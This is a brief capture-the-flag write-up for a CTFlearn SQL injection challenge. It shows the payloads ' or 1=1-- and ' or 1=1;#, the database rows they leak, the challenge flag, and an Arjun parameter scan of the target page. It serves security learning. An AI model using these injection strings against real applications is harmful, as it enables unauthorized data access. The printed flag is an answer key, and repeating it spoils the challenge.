

# Basic Injection

## Basic Injection

See if you can leak the whole database. The flag is in there somewhere...

<https://web.ctflearn.com/web4/>

Try some names like Hiroki, Noah, Luke

**Flag:** CTFlearn{th4t\_is\_why\_you\_n33d\_to\_sanitiz3\_inputs}

### Writeup:

tried a bunch of SQL strings like ' or 1=1-- and ' or 1=1;#

' or 1=1;# gives data back:

Name: Luke

Data: I made this problem.

Name: Alec

Data: Steam boys.

Name: Jalen

Data: Pump that iron fool.

Name: Eric

Data: I make cars.

Name: Sam

Data: Thinks he knows SQL.

Name: fl4g\_giv3r

Data: th4t\_is\_why\_you\_n33d\_to\_sanitiz3\_inputs

Name: snoutpop

Data: jowls

Name: Chunbucket

Data: @datboiiii

## arjun-parameter-scan

taj702@kali: ~/Arjun\$ python3 arjun.py -u https://web.ctflearn.com/web4/

```

  _/ _/ _/
  ( _/ _/ _/ ) v1.6
  _/

```

[~] Analysing the content of the webpage

[~] Analysing behaviour for a non-existent parameter

[!] Reflections: 0

[!] Response Code: 200

[!] Content Length: 1088

[!] Plain-text Length: 177

[~] Parsing webpage for potential parameters

[+] Heuristic found a potential post parameter: input

[!] Prioritizing it

[~] Performing heuristic level checks

[!] Scan Completed